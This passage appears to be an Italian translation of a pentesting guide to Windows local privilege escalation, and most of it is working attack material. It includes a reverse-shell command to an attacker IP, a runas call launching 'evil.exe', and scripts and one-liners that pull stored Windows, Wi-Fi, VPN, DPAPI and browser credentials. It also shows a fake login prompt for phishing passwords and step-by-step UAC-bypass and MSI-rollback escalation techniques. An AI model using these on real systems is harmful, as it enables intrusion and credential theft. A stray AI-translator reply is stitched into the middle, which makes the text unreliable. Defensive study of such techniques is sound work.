Get-DnsClientServerAddress -AddressFamily IPv4 | ft

Porte aperte

Controlla la presenza dall’esterno di servizi con accesso limitato

netstat -ano #Opened ports?

Tabella di routing

route print
Get-NetRoute -AddressFamily IPv4 | ft DestinationPrefix,NextHop,RouteMetric,ifIndex

Tabella ARP

arp -A
Get-NetNeighbor -AddressFamily IPv4 | ft ifIndex,IPAddress,L

Firewall Rules

Consulta questa pagina per i comandi relativi al Firewall (elenca regole, crea regole, disabilita, disabilita…)

Altri comandi per l’enumerazione della rete qui

Windows Subsystem for Linux (wsl)

C:\Windows\System32\bash.exe
C:\Windows\System32\wsl.exe

Il binario bash.exe può anche essere trovato in C:\Windows\WinSxS\amd64_microsoft-windows-lxssbash_[...]\bash.exe

Se ottieni l’utente root puoi ascoltare su qualsiasi porta (la prima volta che usi nc.exe per ascoltare su una porta ti verrà chiesto tramite GUI se nc deve essere consentito dal firewall).

wsl whoami
./ubuntun1604.exe config --default-user root
wsl whoami
wsl python -c 'BIND_OR_REVERSE_SHELL_PYTHON_CODE'

Per avviare facilmente bash come root, puoi provare --default-user root

Puoi esplorare il filesystem di WSL nella cartella C:\Users\%USERNAME%\AppData\Local\Packages\CanonicalGroupLimited.UbuntuonWindows_79rhkp1fndgsc\LocalState\rootfs\

Credenziali Windows

Credenziali Winlogon

reg query "HKLM\SOFTWARE\Microsoft\Windows NT\Currentversion\Winlogon" 2>nul | findstr /i "DefaultDomainName DefaultUserName DefaultPassword AltDefaultDomainName AltDefaultUserName AltDefaultPassword LastUsedUsername"

#Other way
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v DefaultPassword
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultDomainName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultUserName
reg query "HKLM\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon" /v AltDefaultPassword

Credentials manager / Windows vault

Da https://www.neowin.net/news/windows-7-exploring-credential-manager-and-windows-vault\
Il Windows Vault memorizza le credenziali utente per server, siti web e altri programmi che Windows può eseguire automaticamente il login per gli utenti. A prima vista, potrebbe sembrare che gli utenti possano memorizzare le credenziali di Facebook, Twitter, Gmail ecc., in modo da accedere automaticamente tramite i browser. Ma non è così.

Windows Vault memorizza credenziali che Windows può usare per eseguire automaticamente l’accesso per gli utenti, il che significa che qualsiasi applicazione Windows che necessita di credenziali per accedere a una risorsa (server o sito web) può utilizzare questo Credential Manager & Windows Vault e usare le credenziali fornite invece che gli utenti inseriscano continuamente nome utente e password.

A meno che le applicazioni non interagiscano con il Credential Manager, non credo sia possibile per loro usare le credenziali per una data risorsa. Quindi, se la tua applicazione vuole sfruttare il vault, dovrebbe in qualche modo comunicare con il credential manager e richiedere le credenziali per quella risorsa dal vault di storage predefinito.

Usa il cmdkey per elencare le credenziali memorizzate sulla macchina.

cmdkey /list
Currently stored credentials:
Target: Domain:interactive=WORKGROUP\Administrator
Type: Domain Password
User: WORKGROUP\Administrator

Poi puoi usare runas con l’opzione /savecred per usare le credentials salvate. L’esempio seguente chiama un binario remoto tramite una condivisione SMB.

runas /savecred /user:WORKGROUP\Administrator "\\10.XXX.XXX.XXX\SHARE\evil.exe"

Uso di runas con un set di credenziali fornito.

C:\Windows\System32\runas.exe /env /noprofile /user:<username> <password> "c:\users\Public\nc.exe -nc <attacker-ip> 4444 -e cmd.exe"

Nota che mimikatz, lazagne, credentialfileview, VaultPasswordView, o da Empire Powershells module.

DPAPI

La Data Protection API (DPAPI) fornisce un metodo per la cifratura simmetrica dei dati, utilizzato principalmente all’interno del sistema operativo Windows per la cifratura simmetrica delle chiavi private asimmetriche. Questa cifratura sfrutta un segreto dell’utente o di sistema per contribuire in modo significativo all’entropia.

DPAPI consente la cifratura delle chiavi tramite una chiave simmetrica che viene derivata dai segreti di accesso dell’utente. In scenari che coinvolgono la cifratura di sistema, utilizza i segreti di autenticazione di dominio del sistema.

Le chiavi RSA utenti cifrate, usando DPAPI, sono memorizzate nella directory %APPDATA%\Microsoft\Protect\{SID}, dove {SID} rappresenta lo Security Identifier dell’utente. La chiave DPAPI, co-located with the master key that safeguards the user’s private keys in the same file, tipicamente consiste di 64 byte di dati casuali. (È importante notare che l’accesso a questa directory è ristretto, impedendo di elencarne il contenuto tramite il comando dir in CMD, anche se può essere elencata tramite PowerShell).

Get-ChildItem  C:\Users\USER\AppData\Roaming\Microsoft\Protect\
Get-ChildItem  C:\Users\USER\AppData\Local\Microsoft\Protect\

Puoi usare mimikatz module dpapi::masterkey con gli argomenti appropriati (/pvk o /rpc) per decifrarlo.

I file delle credenziali protetti dalla master password si trovano solitamente in:

dir C:\Users\username\AppData\Local\Microsoft\Credentials\
dir C:\Users\username\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Local\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\username\AppData\Roaming\Microsoft\Credentials\

You can use mimikatz module dpapi::cred with the appropiate /masterkey to decrypt.
You can extract many DPAPI masterkeys from memory with the sekurlsa::dpapi module (if you are root).

DPAPI - Extracting Passwords

Credenziali PowerShell

Le credenziali PowerShell sono spesso usate per attività di scripting e automazione come metodo comodo per memorizzare credenziali criptate. Le credenziali sono protette tramite DPAPI, il che in genere significa che possono essere decriptate solo dallo stesso utente sullo stesso computer in cui sono state create.

Per decriptare una credenziale PS dal file che la contiene puoi fare:

PS C:\> $credential = Import-Clixml -Path 'C:\pass.xml'
PS C:\> $credential.GetNetworkCredential().username

john

PS C:\htb> $credential.GetNetworkCredential().password

JustAPWD!

Wifi

#List saved Wifi using
netsh wlan show profile
#To get the clear-text password use
netsh wlan show profile <SSID> key=clear
#Oneliner to extract all wifi passwords
cls & echo. & for /f "tokens=3,* delims=: " %a in ('netsh wlan show profiles ^| find "Profile "') do @echo off > nul & (netsh wlan show profiles name="%b" key=clear | findstr "SSID Cipher Content" | find /v "Number" & echo.) & @echo on*

Connessioni RDP salvate

Le puoi trovare in HKEY_USERS\<SID>\Software\Microsoft\Terminal Server Client\Servers\
e in HKCU\Software\Microsoft\Terminal Server Client\Servers\

Comandi eseguiti di recente

HCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU
HKCU\<SID>\SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\RunMRU

Gestore credenziali Desktop remoto

%localappdata%\Microsoft\Remote Desktop Connection Manager\RDCMan.settings

Usa il Mimikatz dpapi::rdg module con il /masterkey appropriato per decrittare qualsiasi file .rdg
Puoi estrarre molte DPAPI masterkeys dalla memoria con il modulo Mimikatz sekurlsa::dpapi

Sticky Notes

Le persone spesso usano l’app StickyNotes su workstation Windows per salvare password e altre informazioni, senza rendersi conto che si tratta di un file di database. Questo file si trova in C:\Users\<user>\AppData\Local\Packages\Microsoft.MicrosoftStickyNotes_8wekyb3d8bbwe\LocalState\plum.sqlite ed è sempre utile cercarlo ed esaminarlo.

AppCmd.exe

Nota che per recuperare le password da AppCmd.exe è necessario essere Administrator ed eseguire con un livello High Integrity.
AppCmd.exe si trova nella directory %systemroot%\system32\inetsrv\ .
Se questo file esiste, è possibile che alcune credenziali siano state configurate e possano essere recuperate.

Questo codice è stato estratto da PowerUP:

function Get-ApplicationHost {
$OrigError = $ErrorActionPreference
$ErrorActionPreference = "SilentlyContinue"

# Check if appcmd.exe exists
if (Test-Path  ("$Env:SystemRoot\System32\inetsrv\appcmd.exe")) {
# Create data table to house results
$DataTable = New-Object System.Data.DataTable

# Create and name columns in the data table
$Null = $DataTable.Columns.Add("user")
$Null = $DataTable.Columns.Add("pass")
$Null = $DataTable.Columns.Add("type")
$Null = $DataTable.Columns.Add("vdir")
$Null = $DataTable.Columns.Add("apppool")

# Get list of application pools
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppools /text:name" | ForEach-Object {

# Get application pool name
$PoolName = $_

# Get username
$PoolUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.username"
$PoolUser = Invoke-Expression $PoolUserCmd

# Get password
$PoolPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list apppool " + "`"$PoolName`" /text:processmodel.password"
$PoolPassword = Invoke-Expression $PoolPasswordCmd

# Check if credentials exists
if (($PoolPassword -ne "") -and ($PoolPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($PoolUser, $PoolPassword,'Application Pool','NA',$PoolName)
}
}

# Get list of virtual directories
Invoke-Expression "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir /text:vdir.name" | ForEach-Object {

# Get Virtual Directory Name
$VdirName = $_

# Get username
$VdirUserCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:userName"
$VdirUser = Invoke-Expression $VdirUserCmd

# Get password
$VdirPasswordCmd = "$Env:SystemRoot\System32\inetsrv\appcmd.exe list vdir " + "`"$VdirName`" /text:password"
$VdirPassword = Invoke-Expression $VdirPasswordCmd

# Check if credentials exists
if (($VdirPassword -ne "") -and ($VdirPassword -isnot [system.array])) {
# Add credentials to database
$Null = $DataTable.Rows.Add($VdirUser, $VdirPassword,'Virtual Directory',$VdirName,'NA')
}
}

# Check if any passwords were found
if( $DataTable.rows.Count -gt 0 ) {
# Display results in list view that can feed into the pipeline
$DataTable |  Sort-Object type,user,pass,vdir,apppool | Select-Object user,pass,type,vdir,apppool -Unique
}
else {
# Status user
Write-Verbose 'No application pool or virtual directory passwords were found.'
$False
}
}
else {
Write-Verbose 'Appcmd.exe does not exist in the default location.'
$False
}
$ErrorActionPreference = $OrigError
}

SCClient / SCCM

Controlla se C:\Windows\CCM\SCClient.exe esiste .
Gli installer vengono run with SYSTEM privileges, molti sono vulnerabili a DLL Sideloading (Info da https://github.com/enjoiz/Privesc).

$result = Get-WmiObject -Namespace "root\ccm\clientSDK" -Class CCM_Application -Property * | select Name,SoftwareVersion
if ($result) { $result }
else { Write "Not Installed." }

File e Registro (Credentials)

Putty Creds

reg query "HKCU\Software\SimonTatham\PuTTY\Sessions" /s | findstr "HKEY_CURRENT_USER HostName PortNumber UserName PublicKeyFile PortForwardings ConnectionSharing ProxyPassword ProxyUsername" #Check the values saved in each session, user/password could be there

Chiavi host SSH di Putty

reg query HKCU\Software\SimonTatham\PuTTY\SshHostKeys\

SSH keys nel registro

SSH private keys possono essere memorizzate nella chiave di registro HKCU\Software\OpenSSH\Agent\Keys quindi dovresti controllare se c’è qualcosa di interessante lì:

reg query 'HKEY_CURRENT_USER\Software\OpenSSH\Agent\Keys'

Se trovi qualsiasi voce all’interno di quel percorso probabilmente si tratta di una SSH key salvata. È memorizzata crittografata ma può essere facilmente decriptata usando https://github.com/ropnop/windows_sshagent_extract.
Maggiori informazioni su questa tecnica qui: https://blog.ropnop.com/extracting-ssh-private-keys-from-windows-10-ssh-agent/

Se il servizio ssh-agent non è in esecuzione e vuoi che si avvii automaticamente al boot esegui:

Get-Service ssh-agent | Set-Service -StartupType Automatic -PassThru | Start-Service

Tip

Sembra che questa tecnica non sia più valida. Ho provato a creare alcune ssh keys, aggiungerle con ssh-add e fare login via ssh a una macchina. Il registro HKCU\Software\OpenSSH\Agent\Keys non esiste e procmon non ha identificato l’uso di dpapi.dll durante l’autenticazione con chiave asimmetrica.

File non presidiati

C:\Windows\sysprep\sysprep.xml
C:\Windows\sysprep\sysprep.inf
C:\Windows\sysprep.inf
C:\Windows\Panther\Unattended.xml
C:\Windows\Panther\Unattend.xml
C:\Windows\Panther\Unattend\Unattend.xml
C:\Windows\Panther\Unattend\Unattended.xml
C:\Windows\System32\Sysprep\unattend.xml
C:\Windows\System32\Sysprep\unattended.xml
C:\unattend.txt
C:\unattend.inf
dir /s *sysprep.inf *sysprep.xml *unattended.xml *unattend.xml *unattend.txt 2>nul

Puoi anche cercare questi file usando metasploit: post/windows/gather/enum_unattend

Esempio di contenuto:

<component name="Microsoft-Windows-Shell-Setup" publicKeyToken="31bf3856ad364e35" language="neutral" versionScope="nonSxS" processorArchitecture="amd64">
<AutoLogon>
<Password>U2VjcmV0U2VjdXJlUGFzc3dvcmQxMjM0Kgo==</Password>
<Enabled>true</Enabled>
<Username>Administrateur</Username>
</AutoLogon>

<UserAccounts>
<LocalAccounts>
<LocalAccount wcm:action="add">
<Password>*SENSITIVE*DATA*DELETED*</Password>
<Group>administrators;users</Group>
<Name>Administrateur</Name>
</LocalAccount>
</LocalAccounts>
</UserAccounts>

Backup di SAM & SYSTEM

# Usually %SYSTEMROOT% = C:\Windows
%SYSTEMROOT%\repair\SAM
%SYSTEMROOT%\System32\config\RegBack\SAM
%SYSTEMROOT%\System32\config\SAM
%SYSTEMROOT%\repair\system
%SYSTEMROOT%\System32\config\SYSTEM
%SYSTEMROOT%\System32\config\RegBack\system

Credenziali Cloud

#From user home
.aws\credentials
AppData\Roaming\gcloud\credentials.db
AppData\Roaming\gcloud\legacy_credentials
AppData\Roaming\gcloud\access_tokens.db
.azure\accessTokens.json
.azure\azureProfile.json

McAfee SiteList.xml

Cerca un file chiamato SiteList.xml

Password GPP memorizzata nella cache

Una funzionalità era precedentemente disponibile che permetteva il deployment di account amministratore locale personalizzati su un gruppo di macchine tramite Group Policy Preferences (GPP). Tuttavia, questo metodo presentava gravi problemi di sicurezza. In primo luogo, i Group Policy Objects (GPOs), memorizzati come file XML in SYSVOL, potevano essere accessibili da qualsiasi utente di dominio. In secondo luogo, le password all’interno di questi GPP, crittografate con AES256 usando una chiave di default pubblicamente documentata, potevano essere decrittate da qualsiasi utente autenticato. Questo rappresentava un rischio serio, in quanto poteva permettere agli utenti di ottenere privilegi elevati.

Per mitigare questo rischio, è stata sviluppata una funzione che scansiona i file GPP memorizzati localmente contenenti un campo “cpassword” non vuoto. Al trovare tali file, la funzione decripta la password e restituisce un oggetto PowerShell personalizzato. Questo oggetto include dettagli sul GPP e la posizione del file, aiutando nell’identificazione e nella remediation di questa vulnerabilità di sicurezza.

Cerca in C:\ProgramData\Microsoft\Group Policy\history o in C:\Documents and Settings\All Users\Application Data\Microsoft\Group Policy\history (precedente a W Vista) i seguenti file:

  • Groups.xml
  • Services.xml
  • Scheduledtasks.xml
  • DataSources.xml
  • Printers.xml
  • Drives.xml

Per decriptare la cPassword:

#To decrypt these passwords you can decrypt it using
gpp-decrypt j1Uyj3Vx8TY9LtLZil2uAuZkFQA/4latT76ZwgdHdhw

Usando crackmapexec per ottenere le passwords:

crackmapexec smb 10.10.10.10 -u username -p pwd -M gpp_autologin

IIS Web Config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

C:\Windows\Microsoft.NET\Framework64\v4.0.30319\Config\web.config
C:\inetpub\wwwroot\web.config

Get-Childitem –Path C:\inetpub\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue
Get-Childitem –Path C:\xampp\ -Include web.config -File -Recurse -ErrorAction SilentlyContinue

Esempio di web.config con credenziali:

<authentication mode="Forms">
<forms name="login" loginUrl="/admin">
<credentials passwordFormat = "Clear">
<user name="Administrator" password="SuperAdminPassword" />
</credentials>
</forms>
</authentication>

Credenziali OpenVPN

Add-Type -AssemblyName System.Security
$keys = Get-ChildItem "HKCU:\Software\OpenVPN-GUI\configs"
$items = $keys | ForEach-Object {Get-ItemProperty $_.PsPath}

foreach ($item in $items)
{
$encryptedbytes=$item.'auth-data'
$entropy=$item.'entropy'
$entropy=$entropy[0..(($entropy.Length)-2)]

$decryptedbytes = [System.Security.Cryptography.ProtectedData]::Unprotect(
$encryptedBytes,
$entropy,
[System.Security.Cryptography.DataProtectionScope]::CurrentUser)

Write-Host ([System.Text.Encoding]::Unicode.GetString($decryptedbytes))
}

Registri

# IIS
C:\inetpub\logs\LogFiles\*

#Apache
Get-Childitem –Path C:\ -Include access.log,error.log -File -Recurse -ErrorAction SilentlyContinue

Chiedere le credenziali

Puoi sempre chiedere all’utente di inserire le sue credenziali o anche le credenziali di un altro utente se pensi che le conosca (nota che chiedere direttamente al cliente le credenziali è davvero rischioso):

$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\'+[Environment]::UserName,[Environment]::UserDomainName); $cred.getnetworkcredential().password
$cred = $host.ui.promptforcredential('Failed Authentication','',[Environment]::UserDomainName+'\\'+'anotherusername',[Environment]::UserDomainName); $cred.getnetworkcredential().password

#Get plaintext
$cred.GetNetworkCredential() | fl

Possibili nomi di file contenenti credentials

File noti che tempo fa contenevano passwords in clear-text o Base64

$env:APPDATA\Microsoft\Windows\PowerShell\PSReadLine\ConsoleHost_history
vnc.ini, ultravnc.ini, *vnc*
web.config
php.ini httpd.conf httpd-xampp.conf my.ini my.cnf (XAMPP, Apache, PHP)
SiteList.xml #McAfee
ConsoleHost_history.txt #PS-History
*.gpg
*.pgp
*config*.php
elasticsearch.y*ml
kibana.y*ml
*.p12
*.der
*.csr
*.cer
known_hosts
id_rsa
id_dsa
*.ovpn
anaconda-ks.cfg
hostapd.conf
rsyncd.conf
cesi.conf
supervisord.conf
tomcat-users.xml
*.kdbx
KeePass.config
Ntds.dit
SAM
SYSTEM
FreeSSHDservice.ini
access.log
error.log
server.xml
ConsoleHost_history.txt
setupinfo
setupinfo.bak
key3.db         #Firefox
key4.db         #Firefox
places.sqlite   #Firefox
"Login Data"    #Chrome
Cookies         #Chrome
Bookmarks       #Chrome
History         #Chrome
TypedURLsTime   #IE
TypedURLs       #IE
%SYSTEMDRIVE%\pagefile.sys
%WINDIR%\debug\NetSetup.log
%WINDIR%\repair\sam
%WINDIR%\repair\system
%WINDIR%\repair\software, %WINDIR%\repair\security
%WINDIR%\iis6.log
%WINDIR%\system32\config\AppEvent.Evt
%WINDIR%\system32\config\SecEvent.Evt
%WINDIR%\system32\config\default.sav
%WINDIR%\system32\config\security.sav
%WINDIR%\system32\config\software.sav
%WINDIR%\system32\config\system.sav
%WINDIR%\system32\CCM\logs\*.log
%USERPROFILE%\ntuser.dat
%USERPROFILE%\LocalS~1\Tempor~1\Content.IE5\index.dat

Non vedo il contenuto del file. Per favore incolla il contenuto di src/windows-hardening/windows-local-privilege-escalation/README.md o specifica quali file vuoi che io cerchi.

cd C:\
dir /s/b /A:-D RDCMan.settings == *.rdg == *_history* == httpd.conf == .htpasswd == .gitconfig == .git-credentials == Dockerfile == docker-compose.yml == access_tokens.db == accessTokens.json == azureProfile.json == appcmd.exe == scclient.exe == *.gpg$ == *.pgp$ == *config*.php == elasticsearch.y*ml == kibana.y*ml == *.p12$ == *.cer$ == known_hosts == *id_rsa* == *id_dsa* == *.ovpn == tomcat-users.xml == web.config == *.kdbx == KeePass.config == Ntds.dit == SAM == SYSTEM == security == software == FreeSSHDservice.ini == sysprep.inf == sysprep.xml == *vnc*.ini == *vnc*.c*nf* == *vnc*.txt == *vnc*.xml == php.ini == https.conf == https-xampp.conf == my.ini == my.cnf == access.log == error.log == server.xml == ConsoleHost_history.txt == pagefile.sys == NetSetup.log == iis6.log == AppEvent.Evt == SecEvent.Evt == default.sav == security.sav == software.sav == system.sav == ntuser.dat == index.dat == bash.exe == wsl.exe 2>nul | findstr /v ".dll"

Get-Childitem –Path C:\ -Include *unattend*,*sysprep* -File -Recurse -ErrorAction SilentlyContinue | where {($_.Name -like "*.xml" -or $_.Name -like "*.txt" -or $_.Name -like "*.ini")}

Credentials nel Cestino

Dovresti anche controllare il Cestino per cercare credentials al suo interno

Per recuperare password salvate da diversi programmi puoi usare: http://www.nirsoft.net/password_recovery_tools.html

All’interno del registro

Altre possibili chiavi del registro che contengono credentials

reg query "HKCU\Software\ORL\WinVNC3\Password"
reg query "HKLM\SYSTEM\CurrentControlSet\Services\SNMP" /s
reg query "HKCU\Software\TightVNC\Server"
reg query "HKCU\Software\OpenSSH\Agent\Key"

Extract openssh keys from registry.

Cronologia dei browser

Dovresti cercare i db dove sono memorizzate le password di Chrome or Firefox.
Controlla anche la history, i bookmarks e i favourites dei browser perché magari alcune password sono salvate lì.

Tools per estrarre password dai browser:

COM DLL Overwriting

Component Object Model (COM) è una tecnologia integrata nel sistema operativo Windows che permette la comunicazione tra componenti software scritti in linguaggi diversi. Ogni componente COM è identificato tramite un class ID (CLSID) e ogni componente espone funzionalità tramite una o più interfacce, identificate tramite interface IDs (IIDs).

Le classi e le interfacce COM sono definite nel registro sotto HKEY\CLASSES\ROOT\CLSID e HKEY\CLASSES\ROOT\Interface rispettivamente. Questo registro è creato unendo HKEY\LOCAL\MACHINE\Software\Classes + HKEY\CURRENT\USER\Software\Classes = HKEY\CLASSES\ROOT.

All’interno dei CLSID di questo registro puoi trovare la chiave secondaria InProcServer32 che contiene un valore di default che punta a una DLL e un valore chiamato ThreadingModel che può essere Apartment (Single-Threaded), Free (Multi-Threaded), Both (Single or Multi) o Neutral (Thread Neutral).

Fondamentalmente, se puoi sovrascrivere una qualsiasi delle DLL che verranno eseguite, potresti escalate privileges se quella DLL viene eseguita da un utente diverso.

Per capire come gli attacker usano COM Hijacking come meccanismo di persistence controlla:

COM Hijacking

Ricerca generica di password in file e registro

Cerca il contenuto dei file

cd C:\ & findstr /SI /M "password" *.xml *.ini *.txt
findstr /si password *.xml *.ini *.txt *.config
findstr /spin "password" *.*

Cerca un file con un determinato nome

dir /S /B *pass*.txt == *pass*.xml == *pass*.ini == *cred* == *vnc* == *.config*
where /R C:\ user.txt
where /R C:\ *.ini

Cerca nel registro i nomi delle chiavi e le password

REG QUERY HKLM /F "password" /t REG_SZ /S /K
REG QUERY HKCU /F "password" /t REG_SZ /S /K
REG QUERY HKLM /F "password" /t REG_SZ /S /d
REG QUERY HKCU /F "password" /t REG_SZ /S /d

Strumenti che cercano password

MSF-Credentials Plugin è un plugin msf che ho creato per eseguire automaticamente ogni modulo POST di metasploit che cerca credentials all’interno della vittima.
Winpeas cerca automaticamente tutti i file che contengono password menzionati in questa pagina.
Lazagne è un altro ottimo strumento per estrarre le password da un sistema.

Lo strumento SessionGopher cerca sessions, usernames e passwords di diversi tool che salvano questi dati in chiaro (PuTTY, WinSCP, FileZilla, SuperPuTTY e RDP)

Import-Module path\to\SessionGopher.ps1;
Invoke-SessionGopher -Thorough
Invoke-SessionGopher -AllDomain -o
Invoke-SessionGopher -AllDomain -u domain.com\adm-arvanaghi -p s3cr3tP@ss

Leaked Handlers

Immagina che un processo in esecuzione come SYSTEM apra un nuovo processo (OpenProcess()) con accesso completo. Lo stesso processo crea anche un nuovo processo (CreateProcess()) con privilegi bassi ma ereditando tutti gli handle aperti del processo principale.
Poi, se hai accesso completo al processo con privilegi bassi, puoi recuperare l’handle aperto verso il processo privilegiato creato con OpenProcess() e iniettare shellcode.
Leggi questo esempio per maggiori informazioni su come rilevare e sfruttare questa vulnerabilità.
Leggi questo altro post per una spiegazione più completa su come testare e abusare di altri open handlers di processi e thread ereditati con diversi livelli di permessi (non solo accesso completo).

Named Pipe Client Impersonation

I segmenti di memoria condivisa, riferiti come pipes, abilitano la comunicazione tra processi e il trasferimento di dati.

Windows fornisce una funzionalità chiamata Named Pipes, che permette a processi non correlati di condividere dati, anche su reti diverse. Questo somiglia a un’architettura client/server, con ruoli definiti come named pipe server e named pipe client.

Quando dati vengono inviati attraverso una pipe da un client, il server che ha creato la pipe ha la possibilità di assumere l’identità del client, a patto che possieda i diritti SeImpersonate necessari. Identificare un processo privilegiato che comunica tramite una pipe che puoi emulare offre l’opportunità di ottenere privilegi più elevati adottando l’identità di quel processo quando interagisce con la pipe che hai creato. Per istruzioni su come eseguire un attacco di questo tipo, guide utili si trovano qui e qui.

Inoltre, il seguente tool permette di intercettare la comunicazione di una named pipe con uno strumento come burp: https://github.com/gabriel-sztejnworcel/pipe-intercept e questo tool permette di elencare e vedere tutte le pipes per trovare privescs https://github.com/cyberark/PipeViewer

Telephony tapsrv remote DWORD write to RCE

Il servizio Telephony (TapiSrv) in modalità server espone \\pipe\\tapsrv (MS-TRP). Un client remoto autenticato può abusare del percorso di eventi asincroni basato su mailslot per trasformare ClientAttach in una scrittura arbitraria di 4-byte su qualsiasi file esistente scrivibile da NETWORK SERVICE, quindi ottenere i diritti di amministratore Telephony e caricare una DLL arbitraria come servizio. Flusso completo:

  • ClientAttach con pszDomainUser impostato su un percorso esistente e scrivibile → il servizio lo apre tramite CreateFileW(..., OPEN_EXISTING) e lo usa per le scritture di eventi asincroni.
  • Ogni evento scrive l’InitContext controllato dall’attaccante da Initialize su quel handle. Registra una line app con LRegisterRequestRecipient (Req_Func 61), genera TRequestMakeCall (Req_Func 121), preleva tramite GetAsyncEvents (Req_Func 0), poi annulla la registrazione/arresta per ripetere scritture deterministicamente.
  • Aggiungiti a [TapiAdministrators] in C:\Windows\TAPI\tsec.ini, riconnettiti, quindi chiama GetUIDllName con un percorso DLL arbitrario per eseguire TSPI_providerUIIdentify come NETWORK SERVICE.

Maggiori dettagli:

Telephony Tapsrv Arbitrary Dword Write To Rce

Varie

File Extensions that could execute stuff in Windows

Consulta la pagina https://filesec.io/

Protocol handler / ShellExecute abuse via Markdown renderers

I link cliccabili in Markdown inoltrati a ShellExecuteExW possono attivare handler URI pericolosi (file:, ms-appinstaller: o qualsiasi schema registrato) ed eseguire file controllati dall’attaccante come l’utente corrente. Vedi:

Protocol Handler Shell Execute Abuse

Monitoring Command Lines for passwords

Quando si ottiene una shell come utente, potrebbe esserci la presenza di scheduled tasks o altri processi in esecuzione che passano credenziali sulla riga di comando. Lo script qui sotto cattura le linee di comando dei processi ogni due secondi e confronta lo stato corrente con quello precedente, mostrando eventuali differenze.

while($true)
{
$process = Get-WmiObject Win32_Process | Select-Object CommandLine
Start-Sleep 1
$process2 = Get-WmiObject Win32_Process | Select-Object CommandLine
Compare-Object -ReferenceObject $process -DifferenceObject $process2
}

Stealing passwords from processes

From Low Priv User to NT\AUTHORITY SYSTEM (CVE-2019-1388) / UAC Bypass

Se hai accesso all’interfaccia grafica (via console o RDP) e UAC è abilitato, in alcune versioni di Microsoft Windows è possibile avviare un terminale o qualsiasi altro processo come “NT\AUTHORITY SYSTEM” da un utente non privilegiato.

Questo rende possibile elevare i privilegi e bypassare UAC contemporaneamente sfruttando la stessa vulnerabilità. Inoltre non è necessario installare nulla e il binario usato durante il processo è firmato e rilasciato da Microsoft.

Alcuni dei sistemi interessati sono i seguenti:

SERVER
======

Windows 2008r2	7601	** link OPENED AS SYSTEM **
Windows 2012r2	9600	** link OPENED AS SYSTEM **
Windows 2016	14393	** link OPENED AS SYSTEM **
Windows 2019	17763	link NOT opened


WORKSTATION
===========

Windows 7 SP1	7601	** link OPENED AS SYSTEM **
Windows 8		9200	** link OPENED AS SYSTEM **
Windows 8.1		9600	** link OPENED AS SYSTEM **
Windows 10 1511	10240	** link OPENED AS SYSTEM **
Windows 10 1607	14393	** link OPENED AS SYSTEM **
Windows 10 1703	15063	link NOT opened
Windows 10 1709	16299	link NOT opened

Per sfruttare questa vulnerabilità, è necessario eseguire i seguenti passaggi:

1) Right click on the HHUPD.EXE file and run it as Administrator.

2) When the UAC prompt appears, select "Show more details".

3) Click "Show publisher certificate information".

4) If the system is vulnerable, when clicking on the "Issued by" URL link, the default web browser may appear.

5) Wait for the site to load completely and select "Save as" to bring up an explorer.exe window.

6) In the address path of the explorer window, enter cmd.exe, powershell.exe or any other interactive process.

7) You now will have an "NT\AUTHORITY SYSTEM" command prompt.

8) Remember to cancel setup and the UAC prompt to return to your desktop.

Hai tutti i file e le informazioni necessarie nel seguente repository GitHub:

https://github.com/jas502n/CVE-2019-1388

From Administrator Medium to High Integrity Level / UAC Bypass

Leggi questo per imparare sui Livelli di integrità:

Integrity Levels

Poi leggi questo per imparare su UAC e UAC bypasses:

UAC - User Account Control

From Arbitrary Folder Delete/Move/Rename to SYSTEM EoP

La tecnica descritta in questo post sul blog con un exploit code disponibile qui.

L’attacco consiste fondamentalmente nell’abusare della feature di rollback del Windows Installer per sostituire file legittimi con file dannosi durante il processo di disinstallazione. Per questo l’attaccante deve creare un malicious MSI installer che verrà usato per hijackare la cartella C:\Config.Msi, che poi sarà usata da Windows Installer per memorizzare i file di rollback durante la disinstallazione di altri pacchetti MSI, dove i file di rollback sarebbero stati modificati per contenere il payload maligno.

La tecnica riassunta è la seguente:

  1. Stage 1 – Preparing for the Hijack (leave C:\Config.Msi empty)

  • Step 1: Install the MSI

  • Crea un .msi che installi un file innocuo (es., dummy.txt) in una cartella scrivibile (TARGETDIR).

  • Marca l’installer come “UAC Compliant”, così un utente non-admin può eseguirlo.

  • Tieni un handle aperto sul file dopo l’installazione.

  • Step 2: Begin Uninstall

  • Disinstalla lo stesso .msi.

  • Il processo di uninstall inizia a muovere i file in C:\Config.Msi e a rinominarli in file .rbf (rollback backups).

  • Poll the open file handle usando GetFinalPathNameByHandle per rilevare quando il file diventa C:\Config.Msi\<random>.rbf.

  • Step 3: Custom Syncing

  • Il .msi include una custom uninstall action (SyncOnRbfWritten) che:

  • Segnala quando .rbf è stato scritto.

  • Poi attende su un altro evento prima di continuare la disinstallazione.

  • Step 4: Block Deletion of .rbf

  • Quando è segnalato, apri il file .rbf senza FILE_SHARE_DELETE — questo impedisce che venga cancellato.

  • Poi segnala indietro così la disinstallazione può terminare.

  • Windows Installer non riesce a cancellare il .rbf, e poiché non può cancellare tutti i contenuti, C:\Config.Msi non viene rimosso.

  • Step 5: Manually Delete .rbf

  • Tu (attaccante) cancelli manualmente il file .rbf.

